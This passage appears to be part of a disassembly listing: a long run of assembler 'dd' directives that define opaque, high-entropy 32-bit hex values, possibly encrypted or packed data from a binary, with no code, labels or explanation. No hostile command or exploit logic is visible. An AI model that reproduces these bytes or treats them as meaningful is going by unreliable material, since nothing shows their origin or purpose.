		dd 0E9A27A25h, 0A2890824h, 0B98B9A0Bh, 804ABA75h, 153B51C5h
		dd 1ED8B075h, 0DD2F771Eh, 2CE3A4D1h, 122082AFh,	7E5E6537h
		dd 201FB07h, 5FFD29A1h,	0A81FDC6Ah, 5A33B4Ah, 12191210h
		dd 9C025250h, 7F023C6Ch, 1C00F74Eh, 0F73D3A12h,	49E94BDBh
		dd 51171797h, 0A873EBB5h, 1FE88D86h, 0EDD14F9Ch, 0D50D369h
		dd 7208BB1Eh, 82093F4Bh, 80E7C143h, 0DE5DF782h,	0A76B4B74h
		dd 497B515Eh, 0FE67D08Ch, 4F225E97h, 5A1278A8h,	934A82EFh
		dd 0B301B878h, 5BD88875h, 166AC320h, 7B71EFDFh,	0A807167h
		dd 363C90B9h, 6A90490Eh
		dd 0C50F8D6Dh, 40FE8930h, 98FE5CCEh, 0A4E3D95Eh, 7A4BCD0Fh
		dd 3CEC72h, 6A621FE3h, 81D8C8E9h, 34AFD8ACh, 0B0B45080h
		dd 4E4019Bh, 8885C480h,	0DE966CE5h, 0C01EF5CFh,	0E952FEEDh
		dd 46D45BB5h, 0F2EB87D0h, 8976C295h, 0D4EDD790h, 7025DA2Ch
		dd 4940CBAEh, 71E1A220h, 1D61BF74h, 18D2D8EAh, 8BADA9DFh
		dd 0B747EC3Ah, 0CA559DE2h, 82EF544Eh, 4BFE65A4h, 57EA0880h
		dd 54B76B3Ch, 0A0CC8ACh, 261ABA52h, 0D708948Ah,	4A7B872Fh
		dd 5F6FC500h, 48013694h, 8404AF5h, 0E9560A5Ah, 80D9972Bh
		dd 68DB66FEh, 0CF24A0BAh, 290C07A4h, 9BF1E08h, 5E874E18h
		dd 93A0BF58h, 0AF4E5BEDh, 0E8D4F0A0h, 0E99D093Bh, 0C6F140CDh
		dd 0D2FEF20h, 64E199B8h, 5D2F013Fh, 2B7F2C68h, 0C3436F8Bh
		dd 0E9393481h, 8F70820Eh, 4BFA0B21h, 7062477h, 136E24E2h
		dd 78892940h, 49412603h, 0E728FD05h, 0A68DC206h, 616697FBh
		dd 5697889Ah, 77618804h, 0ABEC5D13h, 2F6A6E1Ch,	58713254h
		dd 0FB6E123Eh, 0E984D6CAh, 7484AA72h, 8FACE2AEh, 0CEAE3689h
		dd 518F25BEh, 1E5C882Eh, 0BECC8007h, 18C0983h, 7BC5BB10h
		dd 21290C77h, 0D35B62DAh, 0B29AEFD8h, 5AF80A7h,	0C11EE610h
		dd 3B6F850Ch, 0E97F30B1h, 19045F4Fh, 0F7FA5A54h, 42FD5F4Dh
		dd 4EBFF3D3h, 25E902E0h, 87A07095h, 5D7D57D6h, 0B5C7F6B7h
		dd 68E06011h, 0A7C475B8h, 412C6F5h, 0E49ADE21h,	681E7F66h
		dd 0D6C976E6h, 12B37A4Eh, 887AF530h, 8B29591Eh,	19889E34h
		dd 78B80185h, 20C1FD3Eh, 0D14A4089h, 6CAA2990h,	5A6D2D88h
		dd 7E098AFBh, 8E64DDA4h, 1B026804h, 8CBF19CFh, 3E4074AFh
		dd 3704B804h, 34602CD0h, 0B6802F9h, 824E710Eh, 754A665Ch
		dd 7DFDE27Dh, 0E90471D1h, 0ABF48BCAh, 85964BCh,	897FAA5h
		dd 3E1D055Bh, 244E04BAh, 58F11641h, 0B0BC85E3h,	7F61BD02h
		dd 93776914h, 687D0EE6h, 96BD6D64h, 2EC5E15Dh, 37016F60h
		dd 499F984Dh, 0F94F305Bh, 13533DABh, 3A31FF46h,	0CB7BF187h
		dd 0A7641368h, 0FBD7C7BDh, 5BA6C1CCh, 0A21B920Ah, 5BD144F7h
		dd 0BB89C469h, 5AB29EF2h, 0ED0760D2h, 378878CAh, 5A8785B2h
		dd 7E054842h, 0AC44A107h, 34427006h, 0E9124E47h, 0CBFAA316h
		dd 0A377E59h, 57531C8Ch, 0EB270275h, 7EF83C1Bh,	3452DA5Fh
		dd 0FF382B55h, 755B8B0Bh, 4B920F65h, 0E9E668ABh, 0DF7C4427h
		dd 0CB6A49AEh, 14C90BBEh, 0A0629CF4h, 765009A7h, 5544429Dh
		dd 5B572589h, 74FE08DAh, 0AF66520Ah, 0E655F50Bh, 97A02063h
		dd 72B435A0h, 0EA203081h, 0BDE9551h, 8CBEF0A7h,	0A4B3FC8Eh
		dd 95509AC6h, 792C77D4h, 0E29CF5ADh, 8A60E97Bh,	1EF68092h
		dd 0E0F16488h, 8B680294h, 30CCC7Ch, 7D5B5798h, 0BB4B0CE9h
		dd 4BA77B98h, 5235EEC0h, 823CD82h, 5AF201C1h, 3F42A766h
		dd 0EE0589ADh, 0D0277E04h, 1A576874h, 90AEC69Dh, 3F370914h
		dd 3C545DE9h, 97B07527h, 508AAA44h, 505A9537h, 0E9955F92h
		dd 6F744126h, 20FB65Dh,	1A4871D4h, 0A0E68123h, 0EC4A2D09h
		dd 5FA17ECEh, 0D54702FBh, 6B602932h, 6DBF7AB6h,	0ACAC1714h
		dd 1F35E0A1h, 0B743F631h, 4FE9A502h, 9A24D54Bh,	0E00C1953h
		dd 3A68DD16h, 805427DFh, 0B9945CB1h, 0AA015454h, 5E64FDEFh
		dd 0C0EE312Dh, 41E9BC4h, 0F70155CFh, 3CF9C050h,	164FCD7Eh
		dd 81AA4585h, 2CA48D2Eh, 51089EACh, 9C528AFh, 731D1E3Ch
		dd 28003D8Bh, 4C6B9BF5h, 110484Ch, 42B9065Ch, 9F2CFE9h
		dd 413292F5h, 0FA2BFC3Eh, 0C8C57460h, 644F064Dh, 179F8BE9h
		dd 6E49EF06h, 9D563BE3h, 0B6D738D2h, 5BCD92BAh,	409B12F5h
		dd 968518Ch, 6A3E06F8h,	0A087AFCAh, 0DC51C9DBh,	59B07DCBh
		dd 8980FB79h, 8682DE0h,	0F1C4A07Ch, 0AB7613AEh,	9F40209Eh
		dd 0EEE19A62h, 7E492635h, 0D581A6Fh, 4DB5AF50h,	56A0D6Ch
		dd 47B92F16h, 328DFF12h, 0EB7FEA5Dh, 0F90C4F00h, 55A6580Ch
		dd 2FEE2A17h, 0D7680A60h, 1AAF726Ch, 0B7DC5513h, 0B0595F50h
		dd 2F1E9EB9h, 0B46296FBh, 0F78000A3h, 0FA25889Dh, 102EF05Bh
		dd 4D8288Bh, 0A4E92504h, 0D4EF9EC9h, 89D7A3BFh,	4CAB58BDh
		dd 1284A75Fh, 122D0B2Ah, 28FAD508h, 517BF059h, 0E8A93B66h
		dd 90B7D400h, 0B631E98Ah, 9DF6E5A8h, 143F1D02h,	8008EEC1h
		dd 923524E8h, 0AFF9043h, 4461690Eh, 6C7200D7h, 0EBC13871h
		dd 7B47CBA0h, 0CF6BD195h, 0EDA11BC9h, 3B22EF68h, 9D525968h
		dd 5996124Eh, 68F1F781h, 0AD3302C7h, 0EFAAB05Eh, 0CAFF7138h
		dd 5F7FAC8Bh, 280D1715h, 32FEC6D2h, 34E0E85Ch, 812EAD6h
		dd 0EA4ADECAh, 9903F039h, 417D803Bh, 0E1174FE9h, 0F4F97A08h
		dd 73403E89h, 5F006105h, 7D2D7608h, 0FE145917h,	16455C91h
		dd 0FD3BF886h, 61A5DF4Ah, 0C10474EDh, 3214B6Fh,	2CE3E15Fh
		dd 10F5E22Bh, 51014825h, 0C259DDB9h, 0D7CFF526h, 106810F2h
		dd 1809EE80h, 512B5A68h, 4BF0BD6Ah, 84ADBDE6h, 2D002733h
		dd 1D6C1ADFh, 0F4F52BEBh, 0C700BFEBh, 7AC0568h,	29576774h
		dd 2407CAF0h, 50ED028Ch, 8963789Bh, 105C62F7h, 6BBA9DC1h
		dd 1F9704FDh, 49888C19h, 0E2C6F899h, 4F2C737Ch,	5B62BC5Eh
		dd 175659A4h, 0BF022AB9h, 8BABCB53h, 0FA9630h, 20FA63CFh
		dd 366011E9h, 592AC12Bh, 0C0E6008h, 12E015ABh, 2036DC9Fh
		dd 140CD008h, 2543597Dh, 1005FC5Ah, 282770ADh, 0DCD18D4Bh
		dd 9E88229Eh, 0D59093CDh, 4717707Ch, 0FB8B626Bh, 36975258h
		dd 0F6A2B511h, 475830E9h, 3EA8B848h, 3EACDEE0h,	53C7467h
		dd 0BC7CD606h, 0AD020882h, 60C49FCBh, 0A1EB920Fh, 23D8659Eh
		dd 27E93E3Ch, 0FC2175AEh, 0E53BD5EBh, 98AB4049h, 81627C5h
		dd 0D409D931h, 0DD964ACEh, 6E33072Dh, 0E95E1380h, 12649E59h
		dd 354DCC33h, 0B9623E60h, 9FCE40B1h, 76872662h,	0E5DD0B51h
		dd 4FD0B11Fh, 843E36A6h, 115D9A0Eh, 0EDE04B7Bh,	27364C66h
		dd 26CA88C7h, 309C57D7h, 3C767D0Dh, 3464AC2Fh, 1EEE8984h
		dd 0FC191542h, 80E4D002h, 77C1F6ECh, 1CFE046Dh,	0BEF9D230h
		dd 8EF9C034h, 3BEC53CFh, 14DBA47h, 59D947Eh, 7BE42E90h
		dd 11B992AEh, 0D1F710CAh, 6F6A4318h, 412CEB3Fh,	0BF06B9D4h
		dd 0EE95101Eh, 7AAE45CAh, 680811CAh, 0D2F6EFDh,	0D63D0ABAh
		dd 519ECF03h, 1AF134B3h, 68993E96h, 0CD68A600h,	6B1B2C52h
		dd 1EE03E2h, 88B45056h,	8E4E2695h, 174DFCE4h, 0AFF402B2h
		dd 0F2E947D0h, 7D4CAE40h, 0D03F54CEh, 0BC70B35h, 2100127Dh
		dd 0BF51CB64h, 0B7C29Fh, 360F60B7h, 9B859710h, 0E90802EEh
		dd 1955C4B5h, 8100AB6Ah, 2716DAC9h, 0F0BC4DFBh,	9114824Eh
		dd 3B4EF069h, 3EB9D3F8h, 7F9B7092h, 0E8C762F2h,	619014BDh
		dd 4FDFF7h, 5A49B850h, 5F3502A5h, 5B473109h, 0B8225F48h
		dd 2D02DDCDh, 72817DAAh, 3E323F68h, 6A82ED8Dh, 6E21627Eh
		dd 51B6ECF7h, 2D2A0CF1h, 8674F29Ch, 880776EBh, 0E3A20A0Bh
		dd 0C2A782D2h, 0E5D75E25h, 516E09E4h, 0ACBCB2D9h, 0B8C03ABEh
		dd 5ACE254Fh, 29DB966h,	0E77893F3h, 0EE0DD44h, 239482DBh
		dd 500F6862h, 58F4B504h, 49C16858h, 28105152h, 13B94E7Eh
		dd 80A9E94Bh, 0BAE960B0h, 9539BA1Bh, 0C401494h,	0BFD95E4Ah
		dd 0A4BEA724h, 0BF433E09h, 0EB930553h, 764C7B8Fh, 68BEE90Bh
		dd 56E757FEh, 0CE4D59B1h, 95963060h, 41B62580h,	0D57AE680h
		dd 4F0BA04Ah, 0EFC5D7ACh, 0A9E6E989h, 0D7B105BDh, 642FD1A1h
		dd 0F66B81FDh, 44EC04DBh
		dd 9E201EA6h, 90FF9597h, 80F32B82h, 281DAD04h, 682D2CD0h
		dd 5B8968C5h, 6559F656h, 0C74B5ADEh, 0D37FA90Fh, 0AF5E1648h
		dd 4591AF28h, 74E2D94Bh, 5548588Bh, 198D05EAh, 0F8C3381Dh
		dd 0DFEA859Fh, 9DB84A38h, 0AA54C965h, 47FF5E2h,	5A21DC51h
		dd 8988D05Fh, 3460BD28h, 9C41EC0Fh, 30918803h, 2976AC10h
		dd 0A2C557Ah, 0A2180EA2h, 0E92507EBh, 0CCEA4AD4h, 68195856h
		dd 44EB2684h, 9A4F7B38h, 9B531002h, 66B7057Fh, 0BE3C4968h
		dd 0C00066A2h, 0CBFE05E3h, 0A56773E9h, 0A862432Ch, 5AC69B2Dh
		dd 5813B4C5h, 0D9C2CEBEh, 827CF4D0h, 7CF40372h,	706C83FDh
		dd 0E60B8792h, 0FCD19F90h, 6CDAE99Ch, 9C965F3Ch, 5C9BCD85h
		dd 0F5CA1391h, 73D4974Dh, 8F242E81h, 0BB8119B5h, 67F23A9Bh
		dd 6AB2FAEBh, 0D99155F7h, 780BF3B5h, 842BEB80h,	5C0F4482h
		dd 0AC9955DEh, 3617EE3Ch, 0C6E4043Ch, 8A298251h, 96955E09h
		dd 4C56EDFDh, 0D5C0420h, 91B8348Bh, 264671A9h, 0B3BA072Ah
		dd 778BE633h, 0E60D52Eh, 310D611Ch, 7C024C95h, 0D0034BE9h
		dd 0D3086CD8h, 0CA291D1Ah, 0EC080936h, 80CB5A10h, 59EC2820h
		dd 3FE2083Dh, 0EBEBE056h, 7B8E14DBh, 2869B93Ah,	2D400B46h
		dd 0ECF51A74h, 9A398B8h, 0B11F47C2h, 0A0CEA755h, 7AEA7639h
		dd 64B05C55h, 1FE3BF38h, 35E8352Fh, 53973618h, 17C5EB1Fh
		dd 16E95082h, 0DE467F14h, 4267056Bh, 0AF087121h, 35490238h
		dd 7CB72EF0h, 16D02F63h, 0A720FD0Bh, 5B20D739h,	0E7477F6Dh
		dd 0A50BE91Ch, 6916DF2Dh, 0C474352Dh, 20517936h, 44C16F95h
		dd 580154C1h, 21EF52Bh,	6CFD5F08h, 5354BF16h, 0B08AE9C1h
		dd 84E8E32Eh, 0E921B850h, 4B043AC8h, 0FAC340B6h, 0B3C698F9h
		dd 0A0F46228h, 79D577D8h, 50C56F1Eh, 749EB3EBh,	81CD7C88h
		dd 0F8412A5Eh, 20E21783h, 1E3F9629h, 3CABE9CEh,	0ADA9CFEDh
		dd 1627668Bh, 0AF2110BDh, 61B0314Eh, 70B52538h,	9F325797h
		dd 9C479B02h, 495DB290h, 8167D503h, 0C26945CAh,	0A017F17Ah
		dd 0EED932FFh, 8F82864h, 9C8CFC59h, 38FBC83Dh, 7FC470ACh
		dd 0BB067A19h, 565C7930h, 7FF927D1h, 0D571C59Ah, 4965F27h
		dd 1A956817h, 4096268Ch, 0BB055365h, 35B73CEFh,	0E6B06C2h
		dd 0C058C700h, 6C902E7h, 0C3408B03h, 0F509E246h, 0D13C1096h
		dd 2E047DE1h, 13E9025h,	8742DAC1h, 0E407CD3Bh, 54827862h
		dd 0E275CBD9h, 60F17F6Dh, 6E9068C1h, 5565DFC2h,	0EC700117h
		dd 9FFA10E9h, 76AF8659h, 1FC7B1Fh, 7BF8E9E0h, 0EA99902Ah
		dd 1850A0EFh, 45B703D8h, 90562232h, 0C571EEC5h,	0D85AA9A1h
		dd 6B0059FDh, 0A7352CF1h, 0E0E9A78h, 2AAC2D48h,	67050C40h
		dd 0F7AA118h, 0AE287FE0h, 4C62EC6Ch, 602A8844h,	8284C558h
		dd 0D69D2FF0h, 2D0154D4h, 63F0E70h, 5320D829h, 40584E6Dh
		dd 1811EF67h, 4ABF7F65h, 5E0802F1h, 3B84D589h, 8668A8EEh
		dd 77D512A7h, 7DB4BE5h,	4531680Ch, 7180BA24h, 2F0A9BC1h
		dd 1B5E52A1h, 5B5F08A0h, 92DF88EDh, 0F4D4543Eh,	8604BA26h
		dd 665ED80h, 33A816C6h,	0B2F04F75h, 0F51C904h, 20916B8h
		dd 3B80E17h, 3B35A137h,	0F516830Ch, 393B0E0Ch, 0EC32FDA5h
		dd 5F1453E4h, 0D2F18EA9h, 0E8882B0Ah, 47684C33h, 35E3EAF4h
		dd 3E7ABE00h, 50463727h, 9C48C4BDh, 34F60223h, 0EAFD2FA5h
		dd 84080979h, 21913F02h, 83BD07F4h, 58464A2Fh, 185FEDF2h
		dd 58DC90B5h, 14D9125h,	35F93126h, 16C10401h, 96E2068h
		dd 4D8FE5B2h, 11090E8Bh, 5902DB76h, 921617Ah, 8D5F000h
		dd 0E4ED5760h, 7F3F1737h, 5DEB8C75h, 7CB4E51h, 0B9133C5Bh
		dd 7F3DA03Fh, 0E3E2E929h, 442099Dh, 66AC4C48h, 1BF78717h
		dd 0FBB0081Ch, 0A0AF381h, 0DBDA0DCDh, 0A312B801h, 50E2E90Bh
		dd 0C66825BFh, 6B0BCE53h, 2A5D6879h, 0B02CF64Eh, 5B16405Ah
		dd 0AF167495h, 77A72D47h, 22583AB9h, 31EC59D9h,	2F94B657h
		dd 13FEBA00h, 15BDF750h, 2DA5D997h, 32F65E5Ah, 0B91F04B5h
		dd 29ED47EFh, 0E55DD4CEh, 0FF923BB5h, 0DE9A8758h, 894B6082h
		dd 0B076CBB0h, 7D4365F5h, 94EB86Eh, 3767321Ch, 625E6A55h
		dd 130765Dh, 968756F1h,	815D75E3h, 226A0E62h, 88DA013Fh
		dd 5D16088Eh, 708FC363h, 0D952BF6Ah, 66D3E913h,	3A0D3DFAh
		dd 417FB6CBh, 9BFB70B2h, 0F8BF4C71h, 7C25141h, 6AE3293Fh
		dd 0B448E8E2h, 0BCA191B5h, 0C25980FAh, 962361D4h, 7E029709h
		dd 0E80C801Eh, 67501F9Ah, 0E8F6A7FFh, 62354841h, 58149BF8h
		dd 0E9174E31h, 0BAE65289h, 5DC472A2h, 0EDCAAA31h, 7FFB4010h
		dd 205EA5ECh, 32D866A2h, 394F5668h, 0E9122AF3h,	6030B1B7h
		dd 82133E03h, 0EB87F513h, 0A184B8E2h, 3CAF6846h, 6E54E524h
		dd 0B781F7EEh, 494B7C4Eh, 1C0806E1h, 9470410Ch,	5B089A59h
		dd 0AEEE5202h, 22EA97C4h, 0BE71974Eh, 7736D7C9h, 81D4E92Fh
		dd 1846848h, 1123CC3Bh,	0F5EDB041h, 37083483h, 0F1EA1009h
		dd 5E1EC2D0h, 1BEA7468h, 5D5BE7F0h, 0B19AFB3h, 3E292CE8h
		dd 9A46AACh, 1B7E5DA8h,	62337BDAh, 0EF4A6E9h, 0B733590Ch
		dd 5B5140D3h, 1EBD5495h, 0BE31CCCDh, 0CFEEF887h, 0D69D519Ah
		dd 0A2EA014Ch, 0F81AC891h, 0F39D5BE2h, 0E5E94191h, 0A85034F0h
		dd 0BF020543h, 403D4693h, 0AD97F961h, 5D6C580Dh, 681CDE9Ch
		dd 0AF97A92Bh, 610B79CCh, 245D42Ch, 80649BCEh, 3C3E3F77h
		dd 6A7A97BBh, 1871F108h, 0AFB91B01h, 0F2714CBAh, 90D8DAADh
		dd 0C8C02052h, 742D5B1Ch, 7D5F288Fh, 55A55BA4h,	0B586036Ch
		dd 18A56813h, 113E2CBh,	597C8BEBh, 0C8AA96D5h, 64419E2Eh
		dd 0B0452E34h, 29324064h, 565AD72Fh, 508F83AFh,	83CB21F1h
		dd 167702BAh, 7F56BF09h, 4057739Ah, 2834149Ah, 77BE2D47h
		dd 327A0929h, 5605F109h, 0F849FB81h, 0D53BE2AEh, 0E9618BF9h
		dd 0A83FF1C2h, 6852C113h, 286E6F5Bh, 0C7B55A27h, 5A30A886h
		dd 0FFDE3449h, 0D04CEBCAh, 0F051120Eh, 0AE7C05Fh, 4F5B8055h
		dd 800DD4BDh, 82A26A0h,	995F0E9h, 3B87C04h, 0ECA4AD57h
		dd 0B508EE2h, 3551BA94h, 6818B46Ah, 98B82A4Dh, 174ECDD2h
		dd 0A85A0E5Ch, 0AD89A5FAh, 80E4EB60h, 7470C580h, 0DF59EA2Dh
		dd 5FC9560Eh, 4C01585Fh, 0F58365C7h, 73C3779Bh,	3FD171D9h
		dd 9F100AADh, 0A464895h, 39408368h, 0F0BBA81h, 853F26A9h
		dd 0A22DFE9Fh, 875ABC69h, 0A47BA5ABh, 0C8418BF3h, 1130AF31h
		dd 9252424h, 0FF91136Ah, 0BB31534Ah, 6E841717h,	641F69EFh
		dd 7925DF10h, 8AEBD545h, 76D7FEE5h, 7CB0DF7Bh, 3AD3690Bh
		dd 639A5506h, 0EAF7815Eh, 65C5977Eh, 0D153FAC2h, 0C5E825EAh
		dd 2697EBB9h, 4A8FCDC3h, 294ABF18h, 0D4A5EDCEh,	58C0325Ah
		dd 105C0F7h, 117EB7D5h,	0AC76855Ah, 7C1AF7FFh, 17415B4Fh
		dd 16A45405h, 0DA25FE2Ah, 12C52A1Eh, 0A2BF663Ah, 0A90BD63Ch
		dd 0E24CC3D3h, 7FFB7F8Ch, 0F4D2ABACh, 143308D3h, 71B5DF20h
		dd 0D0F26036h, 230E9491h, 42D58955h, 0F55A5DEBh, 3C012C91h
		dd 83028779h, 9C18B7A6h, 0E909BEFDh, 0B5560F6Dh, 1850116Eh
		dd 0B90AC04Fh, 51690142h, 6E80B802h, 7D29AC62h,	92C67FC8h
		dd 0D4A5062Fh, 10528C31h, 470FC2A1h, 6E6A8B50h,	0DE4D7859h
		dd 767A0075h, 8A24C181h, 14F8985h, 661022BFh, 25716477h
		dd 4475621Ch, 60F7F2FDh, 685812CFh, 629C0B30h, 5093CB71h
		dd 96CAF31Ch, 4AD50B88h, 9FFAF353h, 44EA9592h, 8C182DEBh
		dd 549D54BDh, 1C55CB04h
		dd 35682705h, 6B2E2EBh,	1E950B51h, 5591293h, 0AE2A95E5h
		dd 7AE93F2Ch, 7F51C0D9h, 587C4613h, 0ACA4D69Fh,	651606E6h
		dd 0E90B0205h, 0F5A940E1h, 3982EB87h, 27813B29h, 6E76AC68h
		dd 5E5830E0h, 0EEAD6456h, 33AAC5C5h, 3F4BEF3Bh,	6B36C8BBh
		dd 45B54CBAh, 7496BF3Fh, 302789B3h, 61824597h, 3D20EB95h
		dd 35692E73h, 320C82C6h, 7A55897Bh, 735E5D88h, 4F3D680Bh
		dd 0E2C1A21Ah, 0F5AE040Dh, 0DD0768BFh, 93C159A5h, 0F6AD521Fh
		dd 0F6657F7Eh, 8BA08816h, 8AA85EC7h, 0CB512462h, 4C3C9002h
		dd 0C197500Ah, 0B3E90206h, 4FB22F88h, 4CC36809h, 0DA75819Ah
		dd 878120C9h, 8F275D76h, 0FA6DD284h, 9FB3BAA8h,	31540FDEh
		dd 0DD6F78ECh, 367EC65Bh, 0AB2CB482h, 48447D01h, 733A0C25h
		dd 5198BD2Ah, 5DEA6D1Bh, 764C173h, 0EFB80574h, 10480058h
		dd 59310692h, 0B02F204Ah, 2D5A7825h, 0B27F8CCEh, 0F7F302B5h
		dd 1700FA9Bh, 133917E6h, 0B261EFD9h, 89545242h,	0F1EBB0BEh
		dd 20EF56BDh, 0CA96BFFEh, 2609DBB0h, 0CA5C5461h, 590804ECh
		dd 4B61B3FFh, 0E09372E6h, 9DE941DFh, 0A1CB5661h, 0BD60D988h
		dd 1ED5D3ADh, 0E968C282h, 2E77B1DAh, 9A6CE679h,	0FCC109A5h
		dd 0A45EF538h, 0AB799402h, 0F8E25DAEh, 3D9B8840h, 0D035B827h
		dd 19D8B779h, 3B0BEE51h, 4ABCCCC8h, 0E4B48D79h,	0C1B4417Eh
		dd 0C8AF4AB5h, 5471D9E0h, 7AA1074Bh, 44E90701h,	504E268h
		dd 0EAFE631Bh, 12E288C0h, 13724CBh, 60078954h, 25094846h
		dd 862F864Eh, 971A7A16h, 5F62A730h, 0D70242BAh,	0E6C1FE87h
		dd 108AD403h, 9A90790Ah, 6C8ADE80h, 0B427B236h,	0E4A620D6h
		dd 0F0003BEDh, 40EDE381h, 0B81F5A42h, 0AFD25E3Eh, 0E6A5DF97h
		dd 8850E035h, 2C5AF303h, 0E20F04A9h, 2EB5EA2h, 650558BDh
		dd 0D8B143F5h, 4170860Dh, 6FAD3F31h, 0A0C6E90Bh, 848C4D79h
		dd 17BD58D7h, 0B1E86FD9h, 77E42A23h, 21386CE9h,	0D90CF631h
		dd 60BF180h, 40E9ECECh,	50331277h, 8CC1AAB4h, 0EFD58417h
		dd 0C4E00C10h, 5D025F72h, 2A455196h, 900F98A0h,	0EB561E25h
		dd 0C12598E9h, 0BCDB173Dh, 0D181AFDFh, 1C9CF5F2h, 0CD81414Dh
		dd 415155A1h, 29C6B68Bh, 30F805E0h, 0FB010106h,	8CA81659h
		dd 8172A06Fh, 812D454Ch, 74736ABEh, 7DFD0C82h, 0CA555DA2h
		dd 0C080D44h, 41501402h, 80004D78h, 283D9CC3h, 84CC18CBh
		dd 0BF6C6B1h, 89128E26h, 32808F7Fh, 0B300BC13h,	7D3C01ADh
		dd 13F77681h, 81684852h, 97CE312Ah, 0D5E14BDCh,	0A04EBF4Fh
		dd 524F7851h, 5FA079EDh, 625FA368h, 137980F6h, 441A0F7Bh
		dd 96EE7B6h, 2445FD5Dh,	0B998B1A8h, 0D41BE32Dh,	0D5AE39ABh
		dd 9D0B20EBh, 8277B3E0h, 0FF5A6727h, 7E5C5119h,	0F030BF05h
		dd 92B0A3AAh, 101DB2FAh, 680C6BDBh, 0CE450A33h,	5794EB4Ah
		dd 88AB7E85h, 899255A7h, 73425AB7h, 0F7EB0B94h,	0B1D5F068h
		dd 4C34CB49h, 6BEE4987h, 0BAC06839h, 10020B0Ah,	6F00EE42h
		dd 0E9E32045h, 8148B44Eh, 0F7170AEAh, 0AD42EE4Ch, 4950D455h
		dd 8197957h, 0F62FA9C4h, 8BC59E18h, 68B0A442h, 9CBD36D7h
		dd 4F58BD62h, 72B0D26h,	4F61F500h, 33C11B96h, 5A1208E5h
		dd 0E023AA3Fh, 42095F5Ah, 812EF987h, 7B06F01h, 8F83D372h
		dd 6B8C4499h, 25DA0DD0h, 58A7A1C7h, 76E18A2Eh, 608BCE0Bh
		dd 3FC602DEh, 92BB0086h, 88B0AD28h, 2280EB04h, 55C0378Eh
		dd 94114DDFh, 37C0098h,	0C0E943F5h, 0A65A606Eh,	0F20A5CD5h
		dd 800209E4h, 0FF42F4h,	52CAFE50h, 1379B2F6h, 529A0FE9h
		dd 208C006Ah, 0EBC058C3h, 4527DB98h, 621077D7h,	0DE095EAEh
		dd 0FE51531Eh, 49825852h, 0C6C7CFC3h, 5945814Ah, 3699832Eh
		dd 605304A9h, 0DD23232h, 12DD8EEh, 3EB3C74Ah, 0AED068C5h
		dd 0E2BE0A34h, 8FEAE5EFh, 4ABA5E2Dh, 0A5963F5Fh, 0C8DAD2FCh
		dd 969B7275h, 5EF98288h, 0E8F56F40h, 0BD424EA0h, 0A5F54CAh
		dd 78051B34h, 0C9A02D9Dh, 0D1D2818h, 3E963B8Eh,	405F85Bh
		dd 437E1367h, 6AFE1FFh,	14801C08h, 205F04E9h, 0B7C4D38Ch
		dd 0E655C199h, 11742B5Fh, 0D08096EFh, 9DB7C138h, 73BFF531h
		dd 2FB99D91h, 7F21BAD5h, 0A5292995h, 5559408h, 8C6C6668h
		dd 5B4B5D1Fh, 0FF3A16EFh, 679B5045h, 12264BC8h,	0CD8401BAh
		dd 2E2A3DA6h, 540729B6h, 844685Bh, 71D360AEh, 6B586028h
		dd 5E4203Bh, 2DEE78B9h,	0C0EC949Ah, 9291F57h, 0C1774F79h
		dd 9A8B6D27h, 1325537Fh, 823EC53Dh, 0B484E880h,	0FC880B19h
		dd 7F0B09E0h, 5C4CB9C4h, 782024DFh, 9904D42h, 1924E875h
		dd 0EE30D75Bh, 5930D63Dh, 654341E7h, 0B287387Bh, 2B09D747h
		dd 0D0C610A2h, 8CDA207Fh, 0B958B313h, 9F3015Ah,	0D8175256h
		dd 7E18D8CBh, 771829DFh, 10722D87h, 7F27685Ah, 45EC20F4h
		dd 0DF6F9F61h, 0E9F8561Ch, 0BACA0394h, 0B01C3744h, 144D31F2h
		dd 86896CEDh, 0E90B8349h, 2825A333h, 0B3A321EFh, 3FE87B5Bh
		dd 0A6DED2A7h, 242627C8h, 0FC60EE9Fh, 0AF29C413h, 83269165h
		dd 14E00D7Dh, 66CE2F13h, 0E091B3FFh, 9819256Ah,	1A2B0C87h
		dd 3718725Eh, 0D575891Ch, 9E9D9C2h, 646CF4C8h, 6FD3E1EAh
		dd 0D1AB6612h, 2AE5FDE9h, 93564FFFh, 0FE210030h, 0F6814E5Fh
		dd 85371823h, 7D946438h, 0F519F82Dh, 18081508h,	5F711E5Eh
		dd 0EA5C7E2Fh, 8099Bh, 6739F8D6h, 880C833h, 9DB0992Ah
		dd 53FA9F74h, 0C50138B1h, 30B1255Ch, 0EC2E3831h, 0C32916F2h
		dd 0F92765E6h, 7CDE2649h, 34743D2Fh, 0A1AF0C62h, 0CC8E7A91h
		dd 25D6755Eh, 0DE8CB28Fh, 0D8B96156h, 0F7D88689h, 0E566749Fh
		dd 1CAEB8D3h, 0C94942BFh, 8E6D806Ch, 0B5580E48h, 20C159E2h
		dd 5BB27071h, 0EE515F80h, 0F3BF5BF5h, 0F4BB9210h, 6A5EC586h
		dd 680230AEh, 1D96065Bh, 0BA659B60h, 44ACA01Dh,	2EED0530h
		dd 0B36D3568h, 766E014Ch, 0CAE97C2Bh, 1710122Ah, 0FD8AFA3Dh
		dd 5C802B10h, 6E4A725Ah, 7DF76D41h, 0C47F2C79h,	0F804FAF6h
		dd 31AF699Eh, 667133Bh,	0A4C106FCh, 0C41BB5Dh, 8FD4390Bh
		dd 7F278BACh, 3D7C219Ah, 596F3D89h, 6D698C92h, 0F107807Ah
		dd 0AEB652BCh, 51C8CE60h, 0C02324B5h, 8C5F256Ch, 9CD2845h
		dd 0C11E960h, 5D5A9976h, 0BD27CC50h, 8B8EF1B7h,	337B26F7h
		dd 420933A6h, 3FECF591h, 159CE16h, 16C8E574h, 9519FE68h
		dd 0B9AD0798h, 0F1E55882h, 45D8F7C2h, 9363CFB7h, 0DF8CBF5Ch
		dd 43584163h, 53D1E72Eh, 170C8757h, 55EB500Fh, 803D142h
		dd 510BEBE9h, 0C6663768h, 1DB9010Ah, 0E1E969E5h, 0C2B150A8h
		dd 5919667Bh, 0C30EDAF6h, 5BB65120h, 40998996h,	0AFB26FB2h
		dd 0C1BEF74Bh, 9F0E1B6Bh, 809CFE5Ch, 0E6D05285h, 100D18BEh
		dd 0F3272877h, 7D38E25Ah, 0C22D1B11h, 0AC5C65FDh, 1605107Dh
		dd 4F1BCE9h, 7AE8F26Fh,	7C83CD25h, 5F0A5063h, 682CC082h
		dd 7D354975h, 0AD64968Eh, 6BF4C050h, 5A5FD336h,	0E95DD601h
		dd 0E4B8A221h, 6504C81Ch, 6C2BE5ECh, 280BCB5Ah,	996B05C3h
		dd 0E7D126A4h, 3EE09D3Fh, 0A7BC1091h, 49761CA7h, 8CAB6E17h
